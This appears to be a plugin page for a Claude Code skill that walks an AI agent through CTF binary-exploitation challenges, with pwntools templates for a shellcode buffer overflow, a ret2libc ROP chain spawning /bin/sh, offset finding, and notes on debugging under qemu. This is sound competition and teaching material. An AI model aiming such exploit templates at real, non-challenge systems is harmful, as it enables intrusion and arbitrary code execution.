/ctf-kit:pwnfrom ctf-kit
Solve CTF binary exploitation (pwn) challenges: buffer overflows, format strings, ROP chains, heap exploitation, and shellcoding against ELF/PE binaries with remote services.
Ships in ctf-kit. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
Analyze and exploit binary exploitation challenges.
Use this command for challenges involving:
ctf-pwn linux/amd64 container with the current directory mounted at /chal (gdb/pwndbg, pwntools, one_gadget, patchelf, qemu-user). Use on macOS / Apple Silicon.First check tool availability: bash scripts/check-tools.sh
Start with checksec to understand binary protections:
bash scripts/run-checksec.sh $ARGUMENTS
The JSON output includes:
protections: status of each protection (enabled/disabled/partial)attack_vectors: viable exploitation approachessuggestions[0]: recommended exploitation STRATEGY based on protectionsExample: if stack_canary=disabled and nx=disabled, the strategy is "Classic buffer overflow with shellcode injection".
Based on checksec JSON, proceed with exploitation:
No Canary + No NX (shellcode):
from pwn import *
p = process('./binary')
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (offset - len(shellcode)) + p64(buf_addr)
p.sendline(payload)
p.interactive()
No Canary + NX + No PIE (ROP):
ROPgadget --binary ./binary --re "pop rdi"
payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(system)
PIE enabled (need leak):
Find offset to return address:
from pwn import *
print(cyclic(200))
# After crash: cyclic_find(0x61616161)
run-checksec.sh → read JSON attack_vectorsLinux ELF binaries cannot run natively on macOS. Use the ctf-pwn container
(build once: docker build --platform linux/amd64 -t ctf-pwn <ctf-kit>/docker/pwn):
bash scripts/pwn-docker.sh ./binary # run the binary
bash scripts/pwn-docker.sh python3 solve.py # run a pwntools exploit locally
bash scripts/pwn-docker.sh # interactive shell (tmux available)
Under amd64 emulation ptrace does not work: gdb ./binary, gdb.debug(),
gdb.attach(pid), gdbserver, strace and ltrace fail or print garbage. Instead:
Debug through qemu's gdb stub (breakpoints, registers, memory and stepping work; pwndbg vmmap does not):
qemu-x86_64 -g 1234 ./binary &
pwndbg -ex 'target remote :1234' ./binary
From pwntools: p = process(['qemu-x86_64', '-g', '1234', './binary']), then attach pwndbg from another tmux pane.
Trace syscalls with qemu-x86_64 -strace ./binary.
Match the remote libc with patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./binary.
When using /ctf-kit:team-solve with a pwn challenge, the lead spawns 3 specialists.
Exploit-dev requires plan approval before connecting to remote targets.
| Role | Teammate Name | Focus | Tools | First Action |
|---|---|---|---|---|
| Static Analyst | binary-analyst | checksec, disassembly, vulnerability identification, function mapping, string cross-refs | checksec, radare2, scripts/run-checksec.sh | Run checksec, disassemble main + interesting functions, identify vuln class |
| Exploit Developer | exploit-dev | Payload crafting, ROP chain building, shellcode, format string exploitation, ret2libc/ret2csu | pwntools, ROPgadget, one_gadget | Build exploit based on static analysis, find gadgets, calculate offsets |
| Dynamic Analyst | dynamic-analyst | GDB debugging, offset finding, leak discovery, heap state inspection, ASLR/PIE bypass | gdb, pwntools, ltrace, strace | Run binary with cyclic pattern, find crash offset, identify leakable addresses |
The pwn team has a natural dependency chain:
/ctf-kit:pwn ./challenge
/ctf-kit:pwn ./binary
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
14 skills in this plugin
/analyzeAnalyze CTF challenge files to detect category and suggest next steps. Use when starting a new challenge, receiving unknown files, or needing triage. Triggers: file, strings, xxd, binwalk output, unknown binaries, .bin .dat .raw .enc files, "what is this file", "analyze this", "identify challenge type". Routes to crypto/forensics/stego/web/pwn/ reverse/osint/misc skills based on detection./competeManage a live CTF competition with an agent team. Auto-triages challenges, assigns them to teammates, and tracks progress. Use during live CTF competitions when you have multiple challenges to solve in parallel. Triggers: "competition mode", "live CTF", "start competition", "manage CTF", "assign challenges". Requires agent teams enabled./cryptonpx claudepluginhub mysterionrise/ctf-kit --plugin ctf-kitOther plugins' skills for the same job